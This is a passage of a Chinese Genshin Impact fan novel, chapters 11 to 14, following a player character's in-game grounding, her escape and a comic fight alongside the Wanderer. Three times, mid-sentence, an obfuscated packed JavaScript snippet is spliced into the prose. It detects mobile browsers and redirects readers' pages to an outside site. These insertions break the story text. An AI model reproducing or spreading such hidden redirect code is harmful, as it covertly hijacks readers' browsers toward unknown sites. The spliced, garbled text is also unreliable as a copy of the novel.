他习惯性地抬起手想压低帽檐掩饰尴尬,指尖触碰到空气时才猛然想起,自己现在已经不戴那顶大帽子了。 丹羽看着两人眉来眼去,忍不住轻笑出声:“好了好了,你们两个别互递眼色了。与其在心里猜忌是谁出卖了对方,不如仔细想想……为什么这座宅邸最初这里防守最为薄弱呢?毕竟,说不定我们这些做长辈的,偶尔也有想要低调出行的时候。” 行,破案了,感情这就是人家大人给自己留的“后门”,这下他们两个可算是自投罗网了。 “光缡,你知道现在几点了吗?”御舆长正还在稳定输出,火力全开,“踏鞴砂的夜晚有多危险,你又不是不知道!若是在外面出了什么闪失,你让我日后如何向母亲交代?御舆家的脸面事小,你的安危才是重中之重……” 哦,又来了。 光缡一副生无可恋的表情。 这套翻来覆去的话术,每次遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449515|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这个名叫“御舆长正”的NPC,他都会像走程序一样跳出来强调一遍。 就连光缡这种对游戏背景不怎么上心的玩家,都被迫把御舆家那点陈芝麻烂谷子的家事听得倒背如流: 他们的母亲御舆千代,曾是稻妻最强大的赤鬼,也是当今雷电将军的挚友。 可惜在讨伐深渊时被污染发狂,向将军拔刀,被斩断一角一臂后逃入山林下落不明。 御舆家因此背负罪名,一落千丈。 光缡的鬼族大哥离家出走,人类养子二哥御舆长正(也就是眼前这位)肩负起了光复家族的重任,天天起早贪黑,混成了踏鞴砂的二把手。 稻妻文化就是这点麻烦,人家雷电将军还没说什么呢,其他人就审判上了,害得她都要被连累,打个游戏还被NPC说教。 光缡没忍住打了个哈欠。 “御舆光缡——!”御舆长正额头的青筋跳了跳,声音猛地拔高。 光缡小手一挥,直接【跳过】【跳过】【跳过】。 “……记住了吗,光缡?” 在一顿高频输出后,御舆长正总算进入了说教的最后收尾阶段。 光缡赶紧点头服软:“记住了记住了,下次我不会了。” “哼!你还敢有下次!” 光缡:……(闭嘴保平安) “好了长正,他们俩都平安无事就好。而且今天是我让倾奇者去找光缡的,也是我考虑不周。” 丹羽适时地站出来打圆场,微笑着递台阶,“时间也不早了,他们在外面跑了一天肯定也累坏了。今天就先到此为止,有什么事明天再说吧。对吧,光缡?” 突然被点名的光缡先是一愣,随后光速反应过来,赶紧顺坡下驴:“是啊是啊哥哥!我今天带着倾奇者熟悉踏鞴砂的地形,走了好多好多冤枉路,腿都要断了,快让我去休息吧!” 御舆长正眉头依旧紧皱,但还是冷哼了一声:“哼,没听到丹羽大人说的吗?还不快回你自己的房间去!” “我这就回!” 光缡溜溜球了。 目送光缡走远,二位大人的视线落到了散兵身上。 有了御舆光缡给他打样,他心下有了对策。 “非常抱歉,今天回来得太晚了。” 他先是微微低头,摆出极其端正的认错态度。紧接着话锋一转…… “其实,是我接到了踏鞴砂一些居民的私下委托。他们说御舆小姐最近实在有些……过于顽皮,所以想让我跟在她身边看看,到底是怎么回事。” 然后祸水东引。只要把火力全部转移。 不然他今天吃饱了撑得去找御舆光缡干嘛? 和踏鞴砂居民喝茶聊天时,几乎所有人都在吐槽御舆光缡的“恶劣行径”。 尽管偶尔也有人替她辩解说她救过人、心底不坏,但这微弱的声音很快就被铺天盖地的讨伐声淹没了。 正是因为察觉到了御舆光缡身上的违和感,他才会决定亲自接触这个人。 所以,他晚归是有着极其充分的理由的——他这都是为了盯住御舆光缡,防止她到处惹是生非啊! 更何况,如果能借御舆长正的手限制住御舆光缡的行动,那他自己就能彻底放开手脚了。 不用再受限于那该死的“时间重置”机制,他将拥有大把的时间去调查自己想知道的事情。 果然,御舆长正一听,脸色立刻黑如锅底:“竟然还有这种事?你一五一十地仔细告诉我!” 于是,散兵毫不心虚地将踏鞴砂居民的血泪控诉,又转告了御舆长正。 …… 第二天上午。 刚看完“夜晚转场黑屏动画”的光缡伸着懒腰跳下床,精神抖擞地推开房门,准备开始新一天的生活。 系统突然在眼前弹出: 【系统提示:您已被禁足15天,请留在房间内反省。】 光缡:??? 她就晚回来一会儿,又不是犯天条了。 关15天,这合理吗! 12. 第 12 章 在游戏里的房间,光缡回来得很少。 玩家不需要依靠睡眠来恢复体力,换衣服也有快捷的一键换装系统,这间屋子在绝大多数时间里都是个摆设。 也只有刚建号那两天,出于好奇才进来打量过。 正因如此,当她被强行关进来后,才发现还有不少【调查】光点没有点击。 绝大部分都是信件。 信件一: 【御舆小姐,我在老地方等你。】 信件二: 【你失约了,后果我想你很清楚。】 信件三: 【御舆小姐,听说你将仆从变成武器,还将人一分为二,即便如此那人还活着。】 【太张扬了,引人注目不是你的计划。】 信件四: 【御舆光缡,你在干什么?来老地方见我,马上】 信件五: 【光缡小姐,祝愿我们合作愉快。】 光缡一封封看完,顺手将信件收进背包。很显然,这些语焉不详的信件牵扯着某条隐藏支线,字里行间的试探与警告,处处透着一股子“我在干一票大的见不得光的事情”的反派气息。 总之,线索道具先揣进兜里,接任务什么的之后再说。但愿这条暗线给的奖励能配得上它的悬疑感。 将房间搜刮一空后,光缡将视线投向紧闭的房门,打算看看能不能从门外的守卫那里找找突破口。 光缡扒在门口,一遍又一遍和守卫对话。 光缡:“我真的不能出去吗?” 守卫面露难色:“光缡小姐,您就别再为难我们了,我们真的不能偷偷把您放出去。御舆大人这次,非常生气。” 光缡:“我不就是晚回来一会儿,至于被关15天吗?” 守卫更加为难了:“哎哟,您就放过我们吧,御舆大人交代过,他会亲自来找您谈,这段时间不论您问什么,我们都不能说。” 守卫转过身去,不再言语。 一轮对话结束。 等了片刻,光缡再次敲了敲门板。 门外守卫条件反射地回应:“您有什么需要吗,光缡大人?” “我真的不能出去吗?” “光缡小姐,您就别再为难我们了……” 如此反复七八次。 终于—— 【系统提示:检测到您悔过的意愿强烈,是否为您缩短禁闭时间?】 是是是! 光缡一刻也不敢犹豫。 【请回答以下问卷】 【当你在野外看到一位手无寸铁的NPC,推着装满摩拉和珍贵素材的推车艰难前行时,你应该怎么做?】 A. 光天化日之下抢劫NPC。 B. 做一个遵纪守法的好人。 光缡毫不犹豫地昧着良心选了B。 【御舆大人规定了严格的门禁时间。如果你今天在外面玩得很开心,此时你应该?】 A. 规矩就是用来打破的!继续浪!他还能关我15天不成? B. 牢记长正大人的教诲,保证在门禁前按时返回。 光缡:有被内涵到,选B。 【如果你因为犯错被关禁闭,面对门口尽职尽责的守卫,正确的认错态度应该是?】 A. 仗着自己是玩家疯狂骚扰守卫,试图卡系统Bug。 B. 深刻反思,认识到自己的错误,并真诚地忏悔。 光缡:选B! …… 在回答完全部问题后,系统弹出了结算画面。 【您的问卷得分为98分,未能达到满分,请重新作答。】 光缡:………… 好麻烦! 她不死心地再次走到房间门口。 【系统提示:您已被禁足15天,请留在房间内反省。】 还是出不去。不会真要在游戏里挂机15天吧?既然如此,直接把游戏内的时间往后拨总行了吧。 光缡打开表盘,却被系统制止。 【您被禁足中,无法调整时间。】 ……好吧。 光缡叹气。 她只好耐着性子,又认认真真做了一遍问卷。 【满分!恭喜您!】 【系统提示:检测到您的认错态度良好。是否提交特殊道具“道德崇高的赞许”×1,减少禁闭时间?】 看吧!!! 掏垃圾桶万岁!下次还掏! “交交交!立刻提交!” 犹豫一秒钟都是对这个神器的不尊重。 【已为您减免14天禁闭状态】 【剩余禁闭时间:15小时42分。】 【请耐心等待御舆长正前来与你会面。】 喂!给我扣完啊! 还剩下1天是什么鬼?! 【系统提示:您已被禁足,请留在房间内反省。】 门外。 守卫1有些疑惑:“你有没有听到什么声音,非常有规律,像是有东西在撞墙。” 守卫2见怪不怪:“你应该还没有见识过吧?别管,肯定是光缡小姐在蹭着墙走路,就好像那么走能从墙里挤出去似的。” 守卫1看了眼天色:“时间也差不多了吧,御舆大人好像说过差不多就是这个时间要过来了吧?” 守卫2:“嗯,我们好好表现。” 在尝试多次卡BUG无果后,光缡也有点烦了。 事已至此,她去喝口水吧。 光缡摘下全息投影设备,将角色留在原地挂机。 - 第二天一早,薄雾还未完全散去,散兵已经到了御影炉心。 没了御舆光缡那个聒噪的女人在旁边晃悠,他感到耳根清净了不少,连带着呼吸都顺畅了几分。 炉心目前看来一切如常,并没有什么异样的变化。早起的工匠们已经开始生火、检查风箱,为接下来一整天的高强度劳作做准备。 清脆的打铁声混合着齿轮运转的低鸣,在这座山谷间回荡。 望着眼前这鲜活的、与记忆中分毫不差的烟火气,散兵的心底竟生出了几分怀念。 “让一让!前面的都让一让!” 呵斥声打破了清晨的宁静。 一群人推着沉重的独轮车走来,车上满载着刚开采出的晶化骨髓。他们衣襟上绣着的家徽,彰显了其赤目家工匠的身份。 赤目与丹羽并为“一心三作”,是对一心传锻刀流派的不同呈现。 当初多托雷也正是搭上赤目这条线,才将这种危险的冶炼技术推广至踏鞴砂的。 所以,赤目家的人大张旗鼓地出现在这里,一点都不奇怪。 “喂,小鬼!都说了让你把路让开了,聋了吗?!” 赤目家领头的那人满脸不耐烦地冲着散兵的背影吼道。 散兵回过头,冷冷地看向此人。 这人分明离散兵还有一段距离,也不像其他赤目家的下人那般扛着重物,明明有足够宽敞的道可以绕过去,却偏要大声叫唤。 散兵上下打量一番。 他衣着质料考究,在一群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449516|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰头土脸的铁匠中显得格外扎眼。 “看什么看?见到本少爷,就规规矩矩地把路让开!”赤目宗一郎高傲地扬起下巴。 身后的仆从赶紧上前,在他耳边低语了几句。 赤目宗一郎听后,露出恶意的狞笑:“哦,我知道了,你就是那个被丹羽大人收留的怪人吧,听说连常识都不懂,难怪听不懂人话,毕竟像个正常人一样生活,对你都很困难。” 这个人散兵觉得有些印象,但是想不起来是谁。想不起来,说明他不重要。 只是此前的踏鞴砂,有这么愚蠢又充满恶意的人吗? 散兵在记忆中搜索着。 或许有吧。 曾经的踏鞴砂固然不是人人都对他友善,但他被桂木和丹羽保护得太好了。 再加上那时的他心思犹如白纸,对人类的恶意有着天然的钝感,也许当初他根本没有注意到这些阴暗的角落。 在他过往的认知里,踏鞴砂始终是温暖而美好的。 面对低劣的挑衅,散兵无心理会,连一个白眼都懒得施舍。他也早已不是性格毛躁的年纪了。 调查御影炉心才是头等要紧的事,他必须尽快弄清楚多托雷对炉心的改造究竟进行到了哪一步。 至于眼前这个跳梁小丑,一来,他尚不想在踏鞴砂见血,即便对方恶意满满;二来,这也不是任由对方随意放肆的地方,总有人会出手的,到时候他稍微示弱,自有善良的人会为他冲锋陷阵。 还有…… 几股微弱的力量突然涌入他的体内,正是昨晚御舆光缡赐予他的那一种,击败怪物之后会给予的微弱力量。 该死,御舆光缡这么快就越狱了! 那他更不能浪费时间,趁早调查完最好,万一御舆光缡再有什么事情—— 突然,一阵眩晕感传来。 “喂,小鬼!都说了让你把路让开了,聋了吗?!”赤目宗一郎的声音再次响起。 ……该死!已经迟了! 没等散兵有所动作,已经有看不过眼的踏鞴砂老工匠大步走上前来,一把将散兵护在了身后。 散兵随即茶茶地摆出无辜茫然的姿态,向老工匠投来的无助目光。 老工匠拍了拍他的肩膀,稳稳地站到他的身前,挡住大半恶意的视线。 老工匠眉头紧锁,挡在前面:“赤目少爷,丹羽大人说,他即刻就会过来,还请稍作等候。” 赤目宗一郎不屑一顾:“怎么?躲在别人后面当缩头乌龟?丹羽平时就是这么教你的?” 找死! 散兵收敛起伪装出的茫然。 他本懒得理会这种蠢货,不论在哪里总有这些看不清局势的渣滓,像是蟑螂老鼠永远也处理不干净。 但是,丹羽,不行。 散兵视线落在赤目宗一郎的颈骨上。足以轻易捏碎人类喉管的力道在指间蓄势。 然而,下一秒—— “喂,小鬼!都说了让你把路让开了,聋了吗?!” 散兵:………… 见到散兵站着不动,赤目宗一郎蹬鼻子上脸,音量拔得更高:“喂!我在跟你说话!真是失礼,丹羽就是这么御下的吗——” 轰——!!! 散兵抬手一拳,赤目如同破布麻袋,被砸入石壁中。碎石簌簌落下,他深陷其中,生死不知。 散兵拍去肩膀上沾染的石屑,余光都懒得再施舍半分。 下一秒…… “喂,小鬼!都说了让你把路让开了,聋了吗?!” 够了!!! 13. 第 13 章 光缡从房间出去倒了杯水,边喝边溜达回房间。 她拿起手机瞥了一眼,屏幕干干净净,一条未读消息都没有。 怎么都没人找她?这种从高强度的虚拟世界回归现实后的空虚感,真的很需要一点点来自三次元的关心来填补啊。 既然没人找她,那她主动去要吧。 光缡打开通讯软件,找到银狼。 光缡:游戏挺好玩的,角色建模也很精致 银狼秒回:哪个游戏? 光缡:就是寄到我家的那个 银狼:哦,是那个啊,我懂了,进展怎么样? 光缡:死的次数比我想得要少,但他也挺难搞的,是个白切黑 银狼:加油.JPG 银狼:过几天我去二相乐园,想要什么周边,给你带 光缡:狼尊威武!等我想好了给你说 银狼:小意思.JPG 【银狼已下线】 光缡将水杯放在桌上,在椅子前坐好重新戴上头盔。 一上线,光缡就发现本该紧闭的房门此刻大敞着,门外尽职尽责的守卫也不见踪影。 她拉出任务栏扫了一眼,之前的禁闭倒计时消失了,取而代之的是一行极具挑衅意味的系统提示: 【即便如此,您也要越狱吗?】 哈哈,什么越狱不越狱的,说得那么难听。 她只是从一间门户大开的房间出去而已。 玩家的事,能叫越狱吗? 光缡试探性地往门外迈出一只脚。 稳稳落地,无事发生。 很好。 正当光缡愉快地跳出房门时,院外突然传来一阵杂乱急促的脚步声。 侍从略带紧张的通报:“御舆大人,您过来了。” 御舆长正亲自来找她谈话了! 难怪守卫被撤走,门也开着! 等等,一般这种流程,不应该是守卫继续看大门,直到领导亲临吗?全都跑去迎接是什么操作? 不管了! 她先溜溜球了! 不想再听一遍御舆家的荣辱史了。 光缡熟练地翻上屋檐,一套“冲刺起跳加滑翔”的丝滑连招,溜之大吉。 御舆长正跨进院子时,迎接他的只有一间穿堂风呼啸的空房。 用风之翼飞出去好一段距离,确认脱离了NPC的追踪范围,光缡才在一处野外小道降落,顺手把这一片的资源都捡了。 背包资源又渐渐多起来,光缡打开检查有没有获取稀有道具。 稀有道具是没有,但是好消息,她的经验条又快满了。 马上都要24级了! 昨天打恶鬼的23级还没升,光缡赶快点了升级。 算一算剩下的经验值,大概再随便做点任务或者打点怪物,就能顺利升级了吧。 升级这么快,感觉她也没做什么呀。 难道说,是因为昨天做了点任务吗? 不管了,涨的快是好事。 光缡四下张望。 在前往御影炉心的必经之路上,发现了一个落单的海乱鬼。 那怪背对着她,坐在一处崖壁下方。 就你吧。 光缡唤出长剑,直接冲了过去。 靠近海乱鬼时战斗音乐响起来,海乱鬼也站了起来,从背对光缡到正对光缡。 他高举长刀,周身萦绕着令人不安的紫黑色瘴气。 不过看起手式,还是普通海乱鬼一样。 光缡凭借肌肉记忆,一通输出。 血条见底时,海乱鬼的身体突然像吹气球一样膨胀,皮肤上爆出紫黑色的毒瘤,炸开一团浓郁的毒雾。 光缡立刻点出护盾,但这毒雾的伤害无视护盾,还是真实伤害。 幸好这次的debuff没有减疗,她吃点料理就能回复上来。 可是接下来,不论怪物的血条见底几次,都会再次回满。 枝头,一直通体发黑的乌鸦正在注视着光缡的一举一动,猩红的眼珠有种令人不寒而栗的邪性。 就在光缡全神贯注和锁血怪拉扯时,身后突然传来极其轻微的脚步声。 等她察觉到破空声时,刀刃已经从背后刺穿了她的心脏。 一击毙命。她甚至没来得及回头看一眼凶手的名字。 【玩家已死亡,请选择读档点】 【读档成功】 光缡再次复活,是在那片刚刚被搜刮完资源的空地。 那个古怪的海乱鬼仍背着她,不远不近,始终在她的视线范围内。 是有着新机制的怪物? 再试一试吧,她的经验值还没有捡回来。 然而…… 【玩家已死亡,请选择读档点】 【玩家已死亡,请选择读档点】 …… 没能成功捡回经验值,她和24级说拜拜了。 这就够生气了,还有! 每次在背后偷袭她的人是谁啊! 太阴险了! 就算她都将身后贴在树上了,那个人还能找到办法将她暗杀! 好烦。 看着那只海乱鬼的背影,光缡转身就走。 她打不过,那她去摇人来总可以了吧。 没猜错的话,现在倾奇者会在御影炉心。 - “喂,小鬼!都说了让你把路让开了,聋了吗?!” 吵死了。 散兵耐心已经到了极限。 周遭的叫嚣声被他自动过滤成无意义的环境噪音。他现在满脑子都是御舆光缡那个女人。 御舆光缡的剑术确实稀烂,但她身上那些稀奇古怪的保命手段层出不穷,怎么可能死得这么快、这么频繁? 除非她遇到了实力呈碾压态势的对手,被瞬间秒杀,连反抗的机会都没有。 而放眼整个踏鞴砂,能做到这种程度的,一只手都数得过来。 她到底惹了什么麻烦? 散兵急躁地迈开步子,越走越快,心神不宁间,甚至撞到了人。 “哎哟!”赤目宗一郎被撞得一个趔趄,怒火中烧:“喂!我正和你说话呢!别以为得了丹羽大人的青眼就高人一等!” 他越骂越嫉妒,凭什么这个来历不明的家伙能抢走他去丹羽大人身边进修的机会? 凭什么!凭什么! 你只是一个外人!连名字都没有! 赤目宗一郎越想越气,快步追上去,一把扯过散兵的衣领,高高举起拳头。 然而,那拳头还没来得及落下,一道残影闪过,赤目宗一郎直接飞了出去。 “我们这才分开多久,就什么阿猫阿狗都敢来对你动手了?” 动手的是御舆光缡。 她下手毫无顾忌,显然不知道踢飞的人是谁,或者说踢飞了她也不在乎。 散兵正要去找她,没成想,她竟然自己过来了。 刚才的频繁死亡,她处理好了? 该死,就不应该放任她离开自己眼皮底下。 赤目捂着屁股破口大骂:“贱人!敢对我动手,你知道我是谁吗?!” “是谁啊?”光缡反问,径直走到散兵身边,多看了几眼NPC。 一张通用建模脸,衣服上全部都是锯齿,名字还是五个字一点都不好记。 不重要的人,那谁管你是谁。 “难怪这个废物突然硬气了,原来是御舆家的人在背后撑腰!”赤目咬牙切齿,盯着光缡衣服上的家徽,“沆瀣一气!蛇鼠一窝!真是恶心!” 这个NPC话真多,嗓门这么大吵得要死。 本来就心情不好,找倾奇者玩,却被不认识的NPC指着鼻子骂。 光缡面无表情地唤出武器。 杀了吧。 赤目让仆从扶起来,继续输出:“尽管来啊,给你的小白脸复仇,我就看你敢不敢在大庭广众之下动手!我真搞不明白,他除了好看不就一无是处!” 确实好看。 这倒是一句人话。 光缡不由得抬眼多打量了这NPC几秒,还切出他的人物信息面板。 【赤目家的锻刀传人】 这个人还和丹羽有些关系。 还好稍微犹豫了下没动手。 光缡又将武器收了起来。 那个NPC说的话提醒了她。 御影炉心属于安全区域,在这里当街杀人会引起大范围的NPC恐慌,杀太多人或是NPC恐慌过高,还会引来数值变态的执法机关强行将她绳之以法。 眼下在这里有不少赤目家的人,一旦动手,那就是要面对一群红名,杀着杀着又会引起原住民恐慌,实在划不来。 要杀也是等他去人少些的地方。 但光缡也没打算放过,当着她的面揪着倾奇者衣领,这NPC就是活腻了。 “到底怎么回事?”光缡偏头询问散兵。 散兵当下不是很想搭理光缡。 几番他想动手,都时间重置打断。 没有她在,赤目早就被收拾掉了。 一旁的工匠见状,赶忙凑上前,压低声音把赤目找茬、倾奇者赶路撞人的前因后果快速讲了一遍。 光缡无语,不就是撞了一下,又不是把他打死了,至于吗? 这个NPC,真是事情多! 光缡:“懂了,既然有争执,那就用最公平公正、符合体育精神的方法来解决问题吧。” 赤目冷笑:“公平公正?在你们的地盘上还不是你们说了算! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449517|201131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 光缡无视掉赤目,对散兵道:“那么倾奇者就代表丹羽家参赛,我就勉为其难地代表赤目家吧。” 散兵猜到,光缡大概又要展示花样折磨人的手段了,便没出声,用沉默表明立场。 “喂!要挑选代表人也应该由我来选吧!”赤目大声抗议。 “不行。”光缡斩钉截铁地拒绝,嘴角勾起一抹核善的微笑,“因为你是这场比赛不可或缺的核心,你已经是比赛的一部分了。” “……什么?!” “我给你亲自演示一下。” 光缡后退几步,稍稍拉开距离。 风元素力在她手中聚集,她抬手吸取。 不明所以的赤目宗一郎双手抱臂,一副我要看你耍什么花招的姿态,突然他感到身后一凉,强大的吸力吸取住他的屁股,将他抓了起来,放置在半空中。 “规则很简单,把‘球’吸起来,用力击打到对面的场地,另一方要把‘球’接住并打回来。如果一方没接住让‘球’落地,对方加一分。” 光缡解释道,“就是羽毛球啦。或者踢毽子,你会踢吗?” 散兵冷眼看着赤目牌羽毛球飞了过来。 “砰!”赤目重重地砸在散兵脚边,激起一阵尘土。 风元素力是这么用的吗? ……够了别想合理性了,他已经不想再吐槽了。 “宗一郎大人!”仆从们尖叫着扑过去。 然而还没等他们碰到主子的衣角,赤目宗一郎就又被吸起到了半空。 光缡:“刚才为什么不接?消极比赛,算扣你一分哦。” 光缡再次将球打出去。 这一次,“球”飞在半空中时,散兵身旁的工匠忍不住轻声唤道:“倾奇者……” 周围的工匠们也都用一种既解气又期待的目光看着他。 原本他是一点都不想理会御舆光缡,他心里还憋着对那三次死亡重置的无名火。 气她的弱小,也生气他一时大意,居然敢让这个怪女人单独行动。 可是,当他抬起头,看着半空中赤目宗一郎那张因为惊恐而扭曲的脸,听着他杀猪般的惨叫时,在那股庞大的愤怒之中,也生出了一丝丝快意。 砰——! 赤目宗一郎落下来前,被散兵一脚踢中臀部,再度高高飞了起来。 “嗷——!” 光缡精准地预判了落点,用风元素力稳稳接住,随后一个凌厉的扣杀再次将人击出。 散兵这次回击的速度极快,力度之大,让光缡都差点翻车没接住。 “很上道嘛!”光缡毫不吝啬地夸奖。 散兵神色淡淡:“省省吧,这么简单的把戏有什么难的。” “刚才是让你,我要认真了!” “呵,尽管来吧。” 光缡果真认真起来。 两人打得有来有回。 看着她舞动的身影,散兵突然想起来,刚刚回到踏鞴砂那一天,就听到了一大堆有关她的传闻。 有人惧怕她,说她是杀人不眨眼的魔鬼,会将惹怒她的侍从活生生切成两半,将人命视如草芥。 也有人敬畏她,说她行事全凭喜恶,曾在海贼的屠刀下救下过无数平民。 散兵抛出一球,光缡没有接到。 临时被拉出来当裁判的工匠吹响口哨:“按照我刚刚知晓的规则,比赛时间结束,是倾奇者胜利了。” 工匠们爆发出热烈的欢呼声,有人大着胆子喊道:“光缡小姐也打得很精彩!” 掌声雷动。光缡也不谦虚,笑眯眯地冲着人群挥手致意,坦然接受赞美。 赤目宗一郎两脚终于落地,没敢再多留。 “还不快滚?”光缡冷声说着,眼神就像看待垃圾一样阴冷。 赤目灰溜溜地跑了,仆从追了上去。 光缡确认人终于走远,眼神中的冷意稍稍融化。 从刚才开始,散兵心中一直紧绷的那根弦,啪地一声断裂,随后,是一种前所未有的松弛感。 她没有事。 “御舆光缡。”散兵下意识叫了她的名字。 光缡转过头,那双清澈的眼睛里倒映着他的影子,方才的杀气荡然无存。 她像只欢快的雀鸟一样小跑过来,语气轻快:“怎么啦怎么啦倾奇者,你找我有事?真人羽毛球好玩吗?” 叽叽喳喳的。 她是如此鲜活,活生生地站在这里。 像个魔鬼,贪婪地汲取他的注意。也偶尔,会做出惊世骇俗的善举来。 “没事。”散兵说着,错开目光,从光缡身边离开。 光缡:“欸?” 【雷电国崩重度依赖,好感度+10】 光缡:“欸?欸——!” 14. 第 14 章 一下子加了10点好感度!历史性的大突破! 难道说,刚刚把那个嚣张NPC当作羽毛球打了一顿,狠狠戳中了他的好感度点? 记笔记:倾奇者爱打羽毛球。 哎呀,她就应该早点投其所好嘛! 她开心地跟在倾奇者身后。 那她再送个好感度礼物,岂不是今天的好感度能加的更多? 来都来御影炉心了,倾奇者又对这里很感兴趣,送他一把绝世好刀绝对是不二之选。 光缡撸起袖子,说干就干。 至于什么“去野外打怪找回场子”,早就被抛掷脑后。 刷怪哪里有给自推做礼物重要。 怪物又不可能跑了,到了凌晨4点它们还会自动刷新呢。 此时,散兵已经和工匠们交流完毕,初步了解了炉心的变化。 工匠们都说近来冶炼效率提高了不少,是个好现象。 确认目前还没有人受到侵蚀,散兵暗自松了一口气。 有热心的工匠看他兴致颇高,便提议带他近距离看一看,这正合他意。 “麻烦了。”散兵道。 “愿意的话,你也可以来试着锻刀。”工匠说,“御舆家的光缡小姐,就很喜欢锻刀,最近这些日子,经常看到她往这边跑。喏你看,她这会儿准备开炉呢。” 散兵稍稍有些惊讶地顺着视线看过去。 “光缡小姐,您又要来开炉吗?” 熟识的工匠们热情地迎了上来,“需要我帮您准备好铁砂和炭火吗?” 光缡点点头,走到巨大的锻造台前:“嗯嗯,麻烦开一下炉子,矿石资源用我背包里的就行。” 站在一旁的散兵注意力被完全吸引了过来。 当年丹羽教过他锻刀,他很清楚正规的工具和流程。 御舆光缡摆出的架势,看上去似乎真的懂行。 但是散兵还是持有怀疑态度。 说不定又是依靠什么隐藏的术法作弊呢? 只见光缡深吸了一口气,神情变的前所未有的专注。 【系统提示:是否开启锻造工坊(模拟经营模式)?】 【当前锻造段位:一代宗师】 光缡果断按下“是”。 在光缡眼中,锻刀是一种小游戏。 类似于《星露谷物语》或是《老爹汉堡店》的模拟经营小游戏,投入材料、等待进度条、产出商品、换取摩拉。 光缡当前已经是第三高的段位,她在游戏里多数时间都花在了这里。她达到最高段位只是时间问题,当下她入坑时间太短了。 游戏里一旦解锁了赚钱模式,那肯定要从第一天开始就肝,少赚一天都算亏本! 而锻造,就是前期最具性价比的搞钱方式,没有危险,不用跑图,只要待在炉子前,摩拉就会源源不断地进口袋。 散兵凝神观察着。 光缡做完全部前置流程,全部正常。 直到她突然掏出来几十个魔晶矿,“哗啦啦”地一下子全部都倒入了炉心。 随后她的双手在半空中对着空气疯狂点按,仿佛在弹奏着什么。 在光缡的视界里,正在疯狂弹出QTE: 【火候调节:↑↑↓↓←→!完美判定!】 【杂质剔除:连击×30!完美判定!】 散兵:……果然,幸好这次没有轻易相信她。 正常来讲,她这么做,只会练出来一堆毫无韧性的废铁。 散兵想着要不要开口提醒,周围的工匠却抢先一步,围了过来。 “光缡小姐正在炼造呢!” “让我看看,让我看看!” 工匠们皆是一脸崇拜,仿佛光缡真的在锻刀,而不是使用意念的无实物表演。 “光缡小姐的锻造术已经登峰造极。” 丹羽不知何时来到了炉心,走在散兵身边,微笑着注释着炉火前的光缡。 “她天赋上佳,却说,锻刀对她而言只是消遣,她并不想以此为生。她要等着看未来喜欢的人从事什么行业,她再去选择。” 散兵眉头微蹙,不太认同。 要依据喜欢的人选择未来? 万一她后悔了呢?万一那个人的道路,与她背道而驰呢? “我也曾问过她这个问题。” 丹羽似是看穿了散兵的疑虑,轻声笑道,“你猜她怎么回答?她说,正是为了避免这种情况,她才什么都不选。如果和喜欢的人成了对立阵营,那‘刷好感’可就太麻烦了。” 刷好感? 这个词听起来生硬又古怪,丹羽说出来也有些不习惯,但结合语境,倒也不难理解。 真没想到,御舆光缡骨子里竟然有着这么纯粹又热烈的……浪漫。 虽然他不认同,还觉得有些傻气,但也符合她的行事风格。 相当自我,也相当自由。 如果未来谁真的被她这种不讲道理的执着盯上,那个人一定很倒霉吧。 或许,也会拥有这世上最毫无保留的偏爱。 想到这里,散兵没由来地感到一阵恶寒。 希望到了那一天,他和御舆光缡之间的“时间重置”诅咒已经解除了。 光是想一想以后可能要同时救两个人,还要看他们秀恩爱…… 散兵扯了扯嘴角,那他才是全提瓦特最倒霉的倒霉蛋。 丹羽自然不是单纯过来观看光缡锻刀的,他还有公务在身。 “今天早上,到底是怎么了?” 他向散兵询问,散兵也一五一十地讲了,包括打羽毛球。 他必须现在讲清楚了,不然赤目家那边,才不知道要多么添油加醋地说呢。 丹羽听罢,轻轻拍了拍散兵的肩膀:“辛苦你了,接下来的事交给我吧。还有……” 丹羽从袖中取出一枚用紫色编绳系着的物件,递入散兵掌心。 那是一枚尚未雕刻任何花纹的刀镡。 仅仅是握在手里,便能感受到一种极其沉凝的质感。 丹羽目光转柔,语气温润却别有深意:“它未经过任何雕琢,却是一块极其纯粹的璞玉。今日将它赠予你,全当是我作为朋友的一点歉意。” 散兵垂眸。 他不是听不出丹羽的言下之意。 只是,这一回他还能有资格、有时间,接受他的指教吗? “如果你对锻刀产生了兴趣,也可以找我,或者……” 丹羽说笑道, “去光缡小姐也可以,她肯定很乐意教你的。” “我找你就可以了,丹羽大人。”散兵急忙回答道。 御舆光缡那一套,估计全提瓦特没人能学会,她也教不了。 丹羽还有公务在身,寒暄几句后便匆匆离去。散兵重新将注意力投向锻造台时,光缡的小游戏已经进行到了最后一步。 